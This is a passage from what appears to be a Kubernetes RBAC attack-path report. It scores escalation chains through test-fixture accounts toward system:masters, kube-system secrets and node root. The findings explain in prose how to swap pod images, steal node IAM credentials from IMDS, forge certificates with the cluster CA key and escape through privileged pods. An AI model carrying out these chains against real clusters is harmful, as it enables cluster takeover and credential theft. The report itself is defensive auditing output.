    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH ServiceAccount/imgswap-fixtures/imgswap-patcher → the system:masters group score 7.9 3 hops View finding →

ServiceAccount `imgswap-patcher` in namespace `imgswap-fixtures` reaches the system:masters group in 3 hops via Pod image swap: code injection into a running pod → Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 3 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH User/gw-deployer → the system:masters group score 7.9 3 hops View finding →

User `gw-deployer` reaches the system:masters group in 3 hops via Workload creation → ServiceAccount token theft → Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 3 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
HIGH User/gw-patcher → the system:masters group score 7.9 3 hops View finding →

User `gw-patcher` reaches the system:masters group in 3 hops via Workload template rewrite → Steal node IAM role via IMDS → Control-plane PKI theft.

  1. Step 1 of 3 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  3. Step 3 of 3 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
→ kube-system secrets

22 paths to kube-system secrets

22 high
HIGH ServiceAccount/foothold-exec/foothold-reader → kube-system secrets score 8.4 1 hop View finding →

ServiceAccount `foothold-reader` in namespace `foothold-exec` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/foothold-fixtures/foothold-quiet → kube-system secrets score 8.4 1 hop View finding →

ServiceAccount `foothold-quiet` in namespace `foothold-fixtures` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/gw-workloads/gw-powerful → kube-system secrets score 8.4 1 hop View finding →

ServiceAccount `gw-powerful` in namespace `gw-workloads` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/gw-workloads/gw-powerful
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader → kube-system secrets score 8.4 1 hop View finding →

ServiceAccount `imgswap-reader` in namespace `imgswap-fixtures` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → kube-system secrets score 8.4 1 hop View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/privesc-fixtures/sa-secret-read → kube-system secrets score 8.4 1 hop View finding →

ServiceAccount `sa-secret-read` in namespace `privesc-fixtures` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-read
    Permission granted get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/vulnerable/privileged-reader → kube-system secrets score 8.4 1 hop View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/foothold-fixtures/foothold-minter → kube-system secrets score 8.3 2 hops View finding →

ServiceAccount `foothold-minter` in namespace `foothold-fixtures` reaches kube-system secrets in 2 hops via TokenRequest minting → Secrets read access.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/foothold-fixtures/foothold-minter → ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount foothold-fixtures/foothold-quiet
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/gw-groups/default → kube-system secrets score 8.3 2 hops View finding →

ServiceAccount `default` in namespace `gw-groups` reaches kube-system secrets in 2 hops via Implicit group membership → Secrets read access.

  1. Step 1 of 2 Implicit group membership implicit_group_membership

    The API server adds some groups to a request by itself. Every authenticated identity is in system:authenticated. Every ServiceAccount is also in system:serviceaccounts and system:serviceaccounts:<namespace>. No binding lists the members of these groups, so kubectl get does not show who they include: it includes everyone of that type.

    A binding to one of these groups is therefore a grant to every such identity at once. Kubernetes binds only harmless discovery roles to them by default, so a dangerous grant here is almost always a mistake, and the fix is to remove the group from the binding.

    From ServiceAccount/gw-groups/default → Group/system:serviceaccounts:gw-groups
    Permission granted member of system:serviceaccounts:gw-groups
    Gives the attacker is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From Group/system:serviceaccounts:gw-groups
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/gw-groups/gw-member → kube-system secrets score 8.3 2 hops View finding →

ServiceAccount `gw-member` in namespace `gw-groups` reaches kube-system secrets in 2 hops via Implicit group membership → Secrets read access.

  1. Step 1 of 2 Implicit group membership implicit_group_membership

    The API server adds some groups to a request by itself. Every authenticated identity is in system:authenticated. Every ServiceAccount is also in system:serviceaccounts and system:serviceaccounts:<namespace>. No binding lists the members of these groups, so kubectl get does not show who they include: it includes everyone of that type.

    A binding to one of these groups is therefore a grant to every such identity at once. Kubernetes binds only harmless discovery roles to them by default, so a dangerous grant here is almost always a mistake, and the fix is to remove the group from the binding.

    From ServiceAccount/gw-groups/gw-member → Group/system:serviceaccounts:gw-groups
    Permission granted member of system:serviceaccounts:gw-groups
    Gives the attacker is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From Group/system:serviceaccounts:gw-groups
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/rbac-fixtures/sa-token-create → kube-system secrets score 8.3 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches kube-system secrets in 2 hops via TokenRequest minting → Secrets read access.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → kube-system secrets score 8.2 3 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches kube-system secrets in 3 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Secrets read access.

  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-reader
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/foothold-ops/foothold-named-execer → kube-system secrets score 8.0 2 hops View finding →

ServiceAccount `foothold-named-execer` in namespace `foothold-ops` reaches kube-system secrets in 2 hops via Pod exec → container takeover → Secrets read access.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/imgswap-fixtures/imgswap-patcher → kube-system secrets score 8.0 2 hops View finding →

ServiceAccount `imgswap-patcher` in namespace `imgswap-fixtures` reaches kube-system secrets in 2 hops via Pod image swap: code injection into a running pod → Secrets read access.

  1. Step 1 of 2 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → kube-system secrets score 8.0 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches kube-system secrets in 2 hops via Ephemeral container injection → Secrets read access.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-reader
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape → kube-system secrets score 8.0 2 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches kube-system secrets in 2 hops via Pod creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → kube-system secrets score 8.0 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches kube-system secrets in 2 hops via Pod exec → container takeover → Secrets read access.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/rbac-fixtures/sa-pod-create → kube-system secrets score 8.0 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches kube-system secrets in 2 hops via Pod creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → kube-system secrets score 8.0 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches kube-system secrets in 2 hops via Workload creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH User/gw-deployer → kube-system secrets score 8.0 2 hops View finding →

User `gw-deployer` reaches kube-system secrets in 2 hops via Workload creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-powerful
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-powerful
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/gw-workloads/gw-powerful
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH User/gw-patcher → kube-system secrets score 8.0 2 hops View finding →

User `gw-patcher` reaches kube-system secrets in 2 hops via Workload template rewrite → Secrets read access.

  1. Step 1 of 2 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-powerful
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web to run as ServiceAccount gw-workloads/gw-powerful
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/gw-workloads/gw-powerful
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → kube-system secrets score 7.9 3 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches kube-system secrets in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Secrets read access.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-reader
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
→ node root (container escape)

54 paths to node root (container escape)

15 crit 39 high
CRITICAL ServiceAccount/cutres/cutres-doublebind → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `cutres-doublebind` in namespace `cutres` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Survives cutting the cutres-pod-creator-a binding (1 hop)

This route reaches the same target without the cutres-pod-creator-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
CRITICAL ServiceAccount/foothold-fixtures/foothold-priv → node root (container escape) score 9.0 1 hop View finding →

